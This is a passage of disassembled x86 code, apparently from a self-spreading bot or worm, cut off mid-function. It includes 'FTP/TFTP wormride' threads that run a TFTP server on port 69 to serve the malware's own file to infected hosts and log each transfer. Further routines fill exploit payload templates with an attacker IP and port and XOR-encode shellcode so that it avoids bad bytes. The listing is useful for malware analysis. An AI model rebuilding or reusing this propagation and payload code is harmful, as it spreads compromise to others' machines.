push offset sub_41113B
call sub_409479
pop ecx
pop ecx
test eax, eax
jnz short loc_411D2E
push [ebp+var_1C8]
call sub_4053B1
pop ecx
loc_411D2E: ; CODE XREF: sub_411BBC+145j
; sub_411BBC+14Ej ...
mov eax, [ebp+var_1C0]
cmp dword ptr [eax+4], 0
jz short loc_411D3C
jmp short loc_411D3E
; ---------------------------------------------------------------------------
loc_411D3C: ; CODE XREF: sub_411BBC+17Cj
jmp short loc_411CE5
; ---------------------------------------------------------------------------
loc_411D3E: ; CODE XREF: sub_411BBC+17Ej
push [ebp+var_10]
call sub_404CBB
pop ecx
push [ebp+var_1C0]
call sub_409763
pop ecx
xor eax, eax
locret_411D55: ; CODE XREF: sub_411BBC+DEj
; sub_411BBC+108j
leave
retn 4
sub_411BBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411D59 proc near ; DATA XREF: sub_411D68+4Eo
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push [ebp+arg_0]
call sub_411BBC
pop ebp
retn 4
sub_411D59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411D68 proc near ; CODE XREF: sub_40A9CF+70Fp
; sub_40A9CF+735p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
call sub_4042FB
test eax, eax
jz short loc_411D77
jmp short locret_411DC3
; ---------------------------------------------------------------------------
loc_411D77: ; CODE XREF: sub_411D68+Bj
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_411D8D
jmp short locret_411DC3
; ---------------------------------------------------------------------------
loc_411D8D: ; CODE XREF: sub_411D68+21j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aFtpWormrideThr ; "FTP wormride thread"
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
neg eax
sbb eax, eax
inc eax
push eax
push [ebp+var_4]
push offset sub_411D59
call sub_4095A4
add esp, 10h
locret_411DC3: ; CODE XREF: sub_411D68+Dj
; sub_411D68+23j
leave
retn
sub_411D68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411DC5 proc near ; DATA XREF: sub_4123F6+43o
var_DAC = dword ptr -0DACh
var_DA8 = dword ptr -0DA8h
var_DA4 = dword ptr -0DA4h
var_DA0 = byte ptr -0DA0h
var_D9C = dword ptr -0D9Ch
var_D98 = byte ptr -0D98h
var_D94 = dword ptr -0D94h
var_D90 = dword ptr -0D90h
var_D8C = dword ptr -0D8Ch
var_D88 = dword ptr -0D88h
var_D84 = dword ptr -0D84h
var_D80 = byte ptr -0D80h
var_D7C = dword ptr -0D7Ch
var_D70 = byte ptr -0D70h
var_D6F = byte ptr -0D6Fh
var_D6E = byte ptr -0D6Eh
var_D6D = byte ptr -0D6Dh
var_D6C = byte ptr -0D6Ch
var_B6C = dword ptr -0B6Ch
var_B68 = dword ptr -0B68h
var_B64 = dword ptr -0B64h
var_B60 = dword ptr -0B60h
var_B5C = dword ptr -0B5Ch
var_B58 = dword ptr -0B58h
var_358 = dword ptr -358h
var_354 = byte ptr -354h
var_1B0 = word ptr -1B0h
var_1AE = word ptr -1AEh
var_1AC = dword ptr -1ACh
var_1A0 = dword ptr -1A0h
var_19C = byte ptr -19Ch
var_19B = byte ptr -19Bh
var_19A = byte ptr -19Ah
var_199 = byte ptr -199h
var_11C = byte ptr -11Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DACh
push edi
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_358]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push 0
push 2
push 2
call ds:dword_417218 ; socket
mov [ebp+var_108], eax
cmp [ebp+var_108], 0FFFFFFFFh
jnz short loc_411E1D
push [ebp+var_358]
call sub_409763
pop ecx
xor eax, eax
jmp loc_4123F1
; ---------------------------------------------------------------------------
loc_411E1D: ; CODE XREF: sub_411DC5+43j
lea eax, [ebp+var_104]
push eax
call sub_40CF25
push eax
call sub_40449C
pop ecx
pop ecx
push 10h
push 0
lea eax, [ebp+var_1B0]
push eax
call sub_416B6A ; memset
add esp, 0Ch
mov [ebp+var_1B0], 2
push 45h
call ds:dword_417238 ; htons
mov [ebp+var_1AE], ax
lea eax, [ebp+var_104]
push eax
call ds:dword_417244 ; inet_addr
mov [ebp+var_1AC], eax
mov [ebp+var_1A0], 1
push 4
lea eax, [ebp+var_1A0]
push eax
push 4
push 0FFFFh
push [ebp+var_108]
call ds:dword_417204 ; setsockopt
push 10h
lea eax, [ebp+var_1B0]
push eax
push [ebp+var_108]
call ds:dword_417208 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_411EC2
push [ebp+var_358]
call sub_409763
pop ecx
xor eax, eax
jmp loc_4123F1
; ---------------------------------------------------------------------------
loc_411EC2: ; CODE XREF: sub_411DC5+E8j
push offset aRb ; "rb"
push offset dword_41EB2C
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_10C], eax
cmp [ebp+var_10C], 0
jnz short loc_411F01
push [ebp+var_108]
call ds:dword_417230 ; closesocket
push [ebp+var_358]
call sub_409763
pop ecx
xor eax, eax
jmp loc_4123F1
; ---------------------------------------------------------------------------
loc_411F01: ; CODE XREF: sub_411DC5+11Bj
mov eax, [ebp+var_358]
push dword ptr [eax]
push offset unk_41C788
lea eax, [ebp+var_354]
push eax
call sub_40D53F
add esp, 0Ch
push 2
push 0
push [ebp+var_10C]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_10C]
call sub_416B76 ; ftell
pop ecx
mov [ebp+var_4], eax
push 0
push 0
push [ebp+var_10C]
call sub_416B96 ; fseek
add esp, 0Ch
push 80h
push 0
lea eax, [ebp+var_19C]
push eax
call sub_416B6A ; memset
add esp, 0Ch
loc_411F66: ; CODE XREF: sub_411DC5:loc_412084j
; sub_411DC5:loc_4123C6j
mov [ebp+var_B64], 1
and [ebp+var_B60], 0
and [ebp+var_B5C], 0
loc_411F7E: ; CODE XREF: sub_411DC5+234j
and [ebp+var_B68], 0
jmp short loc_411F94
; ---------------------------------------------------------------------------
loc_411F87: ; CODE XREF: sub_411DC5:loc_411FB9j
mov eax, [ebp+var_B68]
inc eax
mov [ebp+var_B68], eax
loc_411F94: ; CODE XREF: sub_411DC5+1C0j
mov eax, [ebp+var_B68]
cmp eax, [ebp+var_B5C]
jnb short loc_411FBB
mov eax, [ebp+var_B68]
mov eax, [ebp+eax*4+var_B58]
cmp eax, [ebp+var_108]
jnz short loc_411FB9
jmp short loc_411FBB
; ---------------------------------------------------------------------------
loc_411FB9: ; CODE XREF: sub_411DC5+1F0j
jmp short loc_411F87
; ---------------------------------------------------------------------------
loc_411FBB: ; CODE XREF: sub_411DC5+1DBj
; sub_411DC5+1F2j
mov eax, [ebp+var_B68]
cmp eax, [ebp+var_B5C]
jnz short loc_411FF5
cmp [ebp+var_B5C], 200h
jnb short loc_411FF5
mov eax, [ebp+var_B68]
mov ecx, [ebp+var_108]
mov [ebp+eax*4+var_B58], ecx
mov eax, [ebp+var_B5C]
inc eax
mov [ebp+var_B5C], eax
loc_411FF5: ; CODE XREF: sub_411DC5+202j
; sub_411DC5+20Ej
xor eax, eax
test eax, eax
jnz short loc_411F7E
lea eax, [ebp+var_B64]
push eax
push 0
push 0
lea eax, [ebp+var_B5C]
push eax
push 0
call ds:dword_41722C ; select
test eax, eax
jle loc_4123B8
mov [ebp+var_D84], 10h
mov al, byte_41DE30
mov [ebp+var_D70], al
mov ecx, 80h
xor eax, eax
lea edi, [ebp+var_D6F]
rep stosd
stosw
stosb
lea eax, [ebp+var_D84]
push eax
lea eax, [ebp+var_D80]
push eax
push 0
push 80h
lea eax, [ebp+var_19C]
push eax
push [ebp+var_108]
call ds:dword_417258 ; recvfrom
mov [ebp+var_B6C], eax
cmp [ebp+var_B6C], 0
jz short loc_412084
cmp [ebp+var_B6C], 0FFFFFFFFh
jnz short loc_412089
loc_412084: ; CODE XREF: sub_411DC5+2B4j
jmp loc_411F66
; ---------------------------------------------------------------------------
loc_412089: ; CODE XREF: sub_411DC5+2BDj
movsx eax, [ebp+var_19C]
test eax, eax
jnz loc_4121C0
movsx eax, [ebp+var_19B]
cmp eax, 1
jnz loc_4121C0
lea eax, [ebp+var_19C]
mov [ebp+var_D88], eax
lea eax, [ebp+var_19C]
mov [ebp+var_D8C], eax
mov eax, [ebp+var_D88]
inc eax
inc eax
mov [ebp+var_D88], eax
mov eax, [ebp+var_D8C]
inc eax
inc eax
mov [ebp+var_D8C], eax
push [ebp+var_D8C]
call sub_416B40 ; strlen
pop ecx
mov ecx, [ebp+var_D8C]
lea eax, [ecx+eax+1]
mov [ebp+var_D8C], eax
push offset aOctet ; "octet"
call sub_416B40 ; strlen
pop ecx
push eax
push [ebp+var_D8C]
push offset aOctet ; "octet"
call sub_416BF0 ; strncmp
add esp, 0Ch
test eax, eax
jz short loc_41213F
push [ebp+var_D84]
lea eax, [ebp+var_D80]
push eax
push 0
push 13h
push offset dword_41C76C
push [ebp+var_108]
call ds:dword_417250 ; sendto
jmp short loc_4121BB
; ---------------------------------------------------------------------------
loc_41213F: ; CODE XREF: sub_411DC5+354j
push 0
push 0
push [ebp+var_10C]
call sub_416B96 ; fseek
add esp, 0Ch
and [ebp+var_D70], 0
mov [ebp+var_D6F], 3
and [ebp+var_D6E], 0
mov [ebp+var_D6D], 1
push [ebp+var_10C]
push 200h
push 1
lea eax, [ebp+var_D6C]
push eax
call sub_416B90 ; fread
add esp, 10h
mov [ebp+var_D90], eax
push [ebp+var_D84]
lea eax, [ebp+var_D80]
push eax
push 0
mov eax, [ebp+var_D90]
add eax, 4
push eax
lea eax, [ebp+var_D70]
push eax
push [ebp+var_108]
call ds:dword_417250 ; sendto
loc_4121BB: ; CODE XREF: sub_411DC5+378j
jmp loc_4123B8
; ---------------------------------------------------------------------------
loc_4121C0: ; CODE XREF: sub_411DC5+2CDj
; sub_411DC5+2DDj
movsx eax, [ebp+var_19C]
test eax, eax
jnz loc_412396
movsx eax, [ebp+var_19B]
cmp eax, 4
jnz loc_412396
mov al, [ebp+var_19A]
mov [ebp+var_DA0], al
mov al, [ebp+var_199]
mov [ebp+var_D98], al
and [ebp+var_D70], 0
mov [ebp+var_D6F], 3
movzx eax, [ebp+var_D98]
cmp eax, 0FFh
jnz short loc_412242
mov al, [ebp+var_DA0]
add al, 1
mov [ebp+var_DA0], al
mov al, [ebp+var_DA0]
mov [ebp+var_D6E], al
and [ebp+var_D98], 0
mov al, [ebp+var_D98]
mov [ebp+var_D6D], al
jmp short loc_412268
; ---------------------------------------------------------------------------
loc_412242: ; CODE XREF: sub_411DC5+44Cj
mov al, [ebp+var_DA0]
mov [ebp+var_D6E], al
mov al, [ebp+var_D98]
add al, 1
mov [ebp+var_D98], al
mov al, [ebp+var_D98]
mov [ebp+var_D6D], al
loc_412268: ; CODE XREF: sub_411DC5+47Bj
movzx eax, [ebp+var_DA0]
shl eax, 8
movzx ecx, [ebp+var_D98]
lea eax, [eax+ecx-1]
mov [ebp+var_D9C], eax
push 0
mov eax, [ebp+var_D9C]
shl eax, 9
push eax
push [ebp+var_10C]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_10C]
push 200h
push 1
lea eax, [ebp+var_D6C]
push eax
call sub_416B90 ; fread
add esp, 10h
mov [ebp+var_D94], eax
push [ebp+var_D84]
lea eax, [ebp+var_D80]
push eax
push 0
mov eax, [ebp+var_D94]
add eax, 4
push eax
lea eax, [ebp+var_D70]
push eax
push [ebp+var_108]
call ds:dword_417250 ; sendto
cmp [ebp+var_D94], 0
jnz loc_412394
mov eax, [ebp+var_D9C]
shl eax, 9
cmp eax, [ebp+var_4]
jb loc_412394
mov eax, [ebp+var_D7C]
mov [ebp+var_DA8], eax
push [ebp+var_DA8]
push offset dword_41EB10
call sub_409C9D
pop ecx
pop ecx
mov [ebp+var_DA4], eax
mov eax, [ebp+var_DA4]
cmp eax, [ebp+var_DA8]
jz short loc_412394
push 1
push offset dword_41EB14
call sub_409C88
pop ecx
pop ecx
mov [ebp+var_DAC], eax
push 10h
push [ebp+var_D7C]
call ds:dword_41721C ; inet_ntoa
push eax
lea eax, [ebp+var_11C]
push eax
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_11C]
push eax
mov eax, [ebp+var_DAC]
inc eax
push eax
push offset aWormride ; "wormride"
push offset unk_41C730
push offset dword_41DAB4
call sub_40D4AB
add esp, 14h
loc_412394: ; CODE XREF: sub_411DC5+52Dj
; sub_411DC5+53Fj ...
jmp short loc_4123B8
; ---------------------------------------------------------------------------
loc_412396: ; CODE XREF: sub_411DC5+404j
; sub_411DC5+414j
push [ebp+var_D84]
lea eax, [ebp+var_D80]
push eax
push 0
push 9
push offset dword_41C724
push [ebp+var_108]
call ds:dword_417250 ; sendto
loc_4123B8: ; CODE XREF: sub_411DC5+252j
; sub_411DC5:loc_4121BBj ...
mov eax, [ebp+var_358]
cmp dword ptr [eax+4], 0
jz short loc_4123C6
jmp short loc_4123CB
; ---------------------------------------------------------------------------
loc_4123C6: ; CODE XREF: sub_411DC5+5FDj
jmp loc_411F66
; ---------------------------------------------------------------------------
loc_4123CB: ; CODE XREF: sub_411DC5+5FFj
push [ebp+var_10C]
call sub_416B82 ; fclose
pop ecx
push [ebp+var_108]
call ds:dword_417230 ; closesocket
push [ebp+var_358]
call sub_409763
pop ecx
xor eax, eax
loc_4123F1: ; CODE XREF: sub_411DC5+53j
; sub_411DC5+F8j ...
pop edi
leave
retn 4
sub_411DC5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4123F6 proc near ; CODE XREF: sub_40A9CF+726p
; sub_40A9CF+742p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_412410
jmp short locret_412446
; ---------------------------------------------------------------------------
loc_412410: ; CODE XREF: sub_4123F6+16j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aTftpWormrideTh ; "TFTP wormride thread"
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
neg eax
sbb eax, eax
inc eax
push eax
push [ebp+var_4]
push offset sub_411DC5
call sub_4095A4
add esp, 10h
locret_412446: ; CODE XREF: sub_4123F6+18j
leave
retn
sub_4123F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412448 proc near ; CODE XREF: sub_4125DF+88p
; sub_4125DF+ADp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
jmp short loc_41245A
; ---------------------------------------------------------------------------
loc_412453: ; CODE XREF: sub_412448:loc_41249Aj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_41245A: ; CODE XREF: sub_412448+9j
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_4]
jnb short loc_41249C
and [ebp+var_8], 0
jmp short loc_41246F
; ---------------------------------------------------------------------------
loc_412468: ; CODE XREF: sub_412448:loc_412498j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_41246F: ; CODE XREF: sub_412448+1Ej
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_C]
jnb short loc_41249A
mov eax, [ebp+arg_0]
add eax, [ebp+var_4]
movsx eax, byte ptr [eax]
movsx ecx, [ebp+arg_10]
xor eax, ecx
mov ecx, [ebp+arg_8]
add ecx, [ebp+var_8]
movsx ecx, byte ptr [ecx]
cmp eax, ecx
jnz short loc_412498
push 1
pop eax
jmp short locret_41249E
; ---------------------------------------------------------------------------
loc_412498: ; CODE XREF: sub_412448+49j
jmp short loc_412468
; ---------------------------------------------------------------------------
loc_41249A: ; CODE XREF: sub_412448+2Dj
jmp short loc_412453
; ---------------------------------------------------------------------------
loc_41249C: ; CODE XREF: sub_412448+18j
xor eax, eax
locret_41249E: ; CODE XREF: sub_412448+4Ej
leave
retn
sub_412448 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4124A0 proc near ; CODE XREF: sub_4125DF+36p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 10h
and [ebp+var_4], 0
and [ebp+var_10], 0
and [ebp+var_8], 0
and [ebp+var_C], 0
cmp [ebp+arg_8], 1
jnz short loc_41250C
cmp [ebp+arg_4], 0B2h
jnb short loc_4124CC
xor eax, eax
jmp locret_4125DD
; ---------------------------------------------------------------------------
loc_4124CC: ; CODE XREF: sub_4124A0+23j
mov [ebp+var_C], 0B2h
push [ebp+var_C]
push offset dword_41C964
push [ebp+arg_0]
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+arg_0]
add eax, 8Fh
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
add eax, 88h
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
add eax, 0ACh
mov [ebp+var_8], eax
jmp loc_41259C
; ---------------------------------------------------------------------------
loc_41250C: ; CODE XREF: sub_4124A0+1Aj
cmp [ebp+arg_8], 2
jnz short loc_412554
cmp [ebp+arg_4], 0C6h
jnb short loc_412522
xor eax, eax
jmp locret_4125DD
; ---------------------------------------------------------------------------
loc_412522: ; CODE XREF: sub_4124A0+79j
mov [ebp+var_C], 0C6h
push [ebp+var_C]
push offset dword_41C89C
push [ebp+arg_0]
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+arg_0]
add eax, 89h
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
add eax, 0C0h
mov [ebp+var_8], eax
jmp short loc_41259C
; ---------------------------------------------------------------------------
loc_412554: ; CODE XREF: sub_4124A0+70j
cmp [ebp+arg_4], 0B2h
jnb short loc_412561
xor eax, eax
jmp short locret_4125DD
; ---------------------------------------------------------------------------
loc_412561: ; CODE XREF: sub_4124A0+BBj
mov [ebp+var_C], 0B2h
push [ebp+var_C]
push offset dword_41C7E8
push [ebp+arg_0]
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+arg_0]
add eax, 86h
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
add eax, 8Dh
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
add eax, 0ACh
mov [ebp+var_8], eax
loc_41259C: ; CODE XREF: sub_4124A0+67j
; sub_4124A0+B2j
cmp [ebp+var_4], 0
jz short loc_4125B0
push [ebp+arg_C]
call ds:dword_417244 ; inet_addr
mov ecx, [ebp+var_4]
mov [ecx], eax
loc_4125B0: ; CODE XREF: sub_4124A0+100j
cmp [ebp+var_10], 0
jz short loc_4125CC
push [ebp+arg_10]
call sub_416B9C ; atoi
pop ecx
push eax
call ds:dword_417238 ; htons
mov ecx, [ebp+var_10]
mov [ecx], ax
loc_4125CC: ; CODE XREF: sub_4124A0+114j
cmp [ebp+var_8], 0
jz short loc_4125DA
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_14]
mov [eax], ecx
loc_4125DA: ; CODE XREF: sub_4124A0+130j
mov eax, [ebp+var_C]
locret_4125DD: ; CODE XREF: sub_4124A0+27j
; sub_4124A0+7Dj ...
leave
retn
sub_4124A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4125DF proc near ; CODE XREF: sub_410649+8Bp
; .text:00410B93p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 1Ch
cmp [ebp+arg_4], 1Ch
jnb short loc_4125F2
xor eax, eax
jmp locret_41271E
; ---------------------------------------------------------------------------
loc_4125F2: ; CODE XREF: sub_4125DF+Aj
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
add eax, 1Ch
mov [ebp+var_4], eax
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push 1E4h
push [ebp+var_4]
call sub_4124A0
add esp, 18h
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_41262D
xor eax, eax
jmp locret_41271E
; ---------------------------------------------------------------------------
loc_41262D: ; CODE XREF: sub_4125DF+45j
push 1Ch
push offset loc_41C7C8
push [ebp+var_10]
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, dword_41CB98
mov [ebp+var_8], eax
jmp short loc_412659
; ---------------------------------------------------------------------------
loc_412649: ; CODE XREF: sub_4125DF+94j
; sub_4125DF:loc_41269Aj
call sub_410422
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
mov dword_41CB98, eax
loc_412659: ; CODE XREF: sub_4125DF+68j
push 0
push [ebp+arg_1C]
push [ebp+arg_18]
push 4
lea eax, [ebp+var_8]
push eax
call sub_412448
add esp, 14h
test eax, eax
jz short loc_412675
jmp short loc_412649
; ---------------------------------------------------------------------------
loc_412675: ; CODE XREF: sub_4125DF+92j
mov eax, [ebp+var_14]
xor eax, [ebp+var_8]
mov [ebp+var_1C], eax
push 0
push [ebp+arg_1C]
push [ebp+arg_18]
push 4
lea eax, [ebp+var_1C]
push eax
call sub_412448
add esp, 14h
test eax, eax
jnz short loc_41269A
jmp short loc_41269C
; ---------------------------------------------------------------------------
loc_41269A: ; CODE XREF: sub_4125DF+B7j
jmp short loc_412649
; ---------------------------------------------------------------------------
loc_41269C: ; CODE XREF: sub_4125DF+B9j
mov eax, [ebp+var_10]
mov ecx, [ebp+var_8]
mov [eax+3], ecx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_1C]
mov [eax+9], ecx
mov al, byte_41CB95
mov byte ptr [ebp+var_C], al
jmp short loc_4126C8
; ---------------------------------------------------------------------------
loc_4126B8: ; CODE XREF: sub_4125DF+104j
call sub_410461
mov byte ptr [ebp+var_C], al
mov al, byte ptr [ebp+var_C]
mov byte_41CB95, al
loc_4126C8: ; CODE XREF: sub_4125DF+D7j
push [ebp+var_C]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_14]
push [ebp+var_4]
call sub_412448
add esp, 14h
test eax, eax
jz short loc_4126E5
jmp short loc_4126B8
; ---------------------------------------------------------------------------
loc_4126E5: ; CODE XREF: sub_4125DF+102j
mov eax, [ebp+var_10]
mov cl, byte ptr [ebp+var_C]
mov [eax+12h], cl
and [ebp+var_18], 0
jmp short loc_4126FB
; ---------------------------------------------------------------------------
loc_4126F4: ; CODE XREF: sub_4125DF+137j
mov eax, [ebp+var_18]
inc eax
mov [ebp+var_18], eax
loc_4126FB: ; CODE XREF: sub_4125DF+113j
mov eax, [ebp+var_18]
cmp eax, [ebp+var_14]
jnb short loc_412718
mov eax, [ebp+var_4]
add eax, [ebp+var_18]
mov al, [eax]
xor al, byte ptr [ebp+var_C]
mov ecx, [ebp+var_4]
add ecx, [ebp+var_18]
mov [ecx], al
jmp short loc_4126F4
; ---------------------------------------------------------------------------
loc_412718: ; CODE XREF: sub_4125DF+122j
mov eax, [ebp+var_14]
add eax, 1Ch
locret_41271E: ; CODE XREF: sub_4125DF+Ej
; sub_4125DF+49j
leave
retn
sub_4125DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412720 proc near ; CODE XREF: sub_412A3A+Cp
; sub_412BC9+DFp ...
var_194 = dword ptr -194h
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_E4 = byte ptr -0E4h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 194h
push 8
push 4
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_194], eax
and [ebp+var_190], 0
loc_412741: ; CODE XREF: sub_412720:loc_41278Aj
push 7Ah
push 61h
call sub_4103F5
pop ecx
pop ecx
mov ecx, [ebp+var_190]
mov [ebp+ecx+var_10], al
mov eax, [ebp+var_190]
inc eax
mov [ebp+var_190], eax
mov eax, [ebp+var_190]
cmp eax, [ebp+var_194]
jnz short loc_41278A
push offset dword_418620
mov eax, [ebp+var_190]
lea eax, [ebp+eax+var_10]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_41278C
; ---------------------------------------------------------------------------
loc_41278A: ; CODE XREF: sub_412720+4Fj
jmp short loc_412741
; ---------------------------------------------------------------------------
loc_41278C: ; CODE XREF: sub_412720+68j
push 17Ch
push offset dword_41CA18
lea eax, [ebp+var_18C]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_E4]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
push 17Ch
lea eax, [ebp+var_18C]
push eax
push [ebp+arg_0]
call sub_4053BF
add esp, 0Ch
leave
retn
sub_412720 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4127D0 proc near ; CODE XREF: sub_412A3A+14Dp
; sub_412BC9+133p ...
var_24C = byte ptr -24Ch
var_22C = byte ptr -22Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24Ch
cmp dword_41EB1C, 0
jnz loc_4128A0
mov dword_41EB1C, 1
and [ebp+var_20C], 0
jmp short loc_412806
; ---------------------------------------------------------------------------
loc_4127F9: ; CODE XREF: sub_4127D0:loc_41289Bj
mov eax, [ebp+var_20C]
inc eax
mov [ebp+var_20C], eax
loc_412806: ; CODE XREF: sub_4127D0+27j
mov eax, [ebp+var_20C]
imul eax, 0Ch
cmp off_41DA68[eax], 0
jz loc_4128A0
push 20h
mov eax, [ebp+var_20C]
imul eax, 0Ch
push off_41DA68[eax]
lea eax, [ebp+var_22C]
push eax
call sub_407A56
add esp, 0Ch
push 20h
mov eax, [ebp+var_20C]
imul eax, 0Ch
push off_41CBA0[eax]
lea eax, [ebp+var_24C]
push eax
call sub_407A56
add esp, 0Ch
lea eax, [ebp+var_22C]
push eax
call sub_4105AD
pop ecx
lea eax, [ebp+var_24C]
push eax
call sub_4105AD
pop ecx
lea eax, [ebp+var_24C]
push eax
lea eax, [ebp+var_22C]
push eax
call sub_416DDE ; strcmp
pop ecx
pop ecx
test eax, eax
jz short loc_41289B
mov dword_41EB20, 1
jmp short loc_4128A0
; ---------------------------------------------------------------------------
loc_41289B: ; CODE XREF: sub_4127D0+BDj
jmp loc_4127F9
; ---------------------------------------------------------------------------
loc_4128A0: ; CODE XREF: sub_4127D0+10j
; sub_4127D0+46j ...
cmp dword_41EB20, 0
jz short loc_4128AE
push 1
pop eax
jmp short locret_412917
; ---------------------------------------------------------------------------
loc_4128AE: ; CODE XREF: sub_4127D0+D7j
push offset aRb ; "rb"
push offset dword_41EC40
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_4128CC
xor eax, eax
jmp short locret_412917
; ---------------------------------------------------------------------------
loc_4128CC: ; CODE XREF: sub_4127D0+F6j
and [ebp+var_4], 0
loc_4128D0: ; CODE XREF: sub_4127D0+145j
push [ebp+var_8]
push 200h
push 1
lea eax, [ebp+var_208]
push eax
call sub_416B90 ; fread
add esp, 10h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_412900
push [ebp+var_8]
call sub_416B82 ; fclose
pop ecx
push 1
pop eax
jmp short locret_412917
; ---------------------------------------------------------------------------
loc_412900: ; CODE XREF: sub_4127D0+120j
push [ebp+var_4]
lea eax, [ebp+var_208]
push eax
push [ebp+arg_0]
call sub_4053BF
add esp, 0Ch
jmp short loc_4128D0
; ---------------------------------------------------------------------------
locret_412917: ; CODE XREF: sub_4127D0+DCj
; sub_4127D0+FAj ...
leave
retn
sub_4127D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412919 proc near ; CODE XREF: sub_412BC9+E8p
; sub_412D56+18p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push 0EA60h
push [ebp+arg_0]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_412938
xor eax, eax
jmp short locret_41294C
; ---------------------------------------------------------------------------
loc_412938: ; CODE XREF: sub_412919+19j
push 0
push 4
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call ds:dword_417248 ; recv
mov eax, [ebp+var_4]
locret_41294C: ; CODE XREF: sub_412919+1Dj
leave
retn
sub_412919 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41294E proc near ; CODE XREF: sub_412BC9+115p
; sub_412D56+3Bp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
